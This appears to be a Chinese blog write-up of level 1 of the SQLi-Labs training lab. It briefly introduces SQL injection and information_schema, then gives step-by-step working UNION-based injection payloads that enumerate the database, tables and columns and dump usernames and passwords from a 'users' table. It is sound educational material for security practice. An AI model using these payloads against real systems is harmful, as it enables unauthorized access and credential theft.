SQLI_LAB------level 1
SQLI_LAB
刷题刷题刷题!!!
知识扩展:
SQL
1)SQL注入介绍
SQLI,sql injection,我们称之为 sql 注入。何为 sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql 语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入。
2)关于SQL基础语句
增:insert into tableName(columnName1,columnName2) values(value1,value2)
删:delete from tableName where …
改:update tableName set columnName=value where …
查:select * from tableName where …
3)Information_schema数据库基本表说明:
schemata表:提供了当前mysql实例中所有的数据库信息,show databases的结果就是从该表得出。
tables表:提供了关于数据库中的所有表的信息,即表属于哪个schema,表的创建时间、表的类型等,show tables from schemaName的结果就是从该表得出。
columns表:提供表中所有列信息,即表明了表中所有列及每列的信息,show columns from schemaName.tableName的结果就是从该表得出。
。。。。。。待续
less1
这是进去以后的主界面
下面开始进行简单测试
判断是否存在注入点
基础语句 and 1=1 、 and 1=2 判断 这里发现页面没什么变化。尝试测试 单引号 ‘
构造的语句:-1'
发现页面出现报错信息,判断页面存在get注入。
开始构造sql语句,查询字段数量。 通常使用order by 2........
构造的语句:-1'+order+by+3--+
通过不断测试发现当数字4时开始报错,说明数据库中有3个字段。
构造的语句:-1'+order+by+4--+
知道字段数以后,开始获取数据库版本,当前库名
构造的语句:-1'+union+select+1,version(),database()--+
得到版本、库名等信息以后,开始获取表名
构造的语句:-1'+union+select+1,group_concat(table_name),database()+from information_schema.tables+where+table_schema='security'--+
获取到表名以后,开始尝试获取字段名
构造语句:-1'+union+select+1,group_concat(column_name),database()+from information_schema.columns+where+table_name='users'--+
获取到字段名后,开始尝试获取字段内容
构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password),+3+from+users--+
但是这样有点乱,所以加个换行符 正常的话应该十六的进制的数但是呢没记住就直接写了
构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password,'<hr />'),+3+from+users--+
第一关完成。。。。。。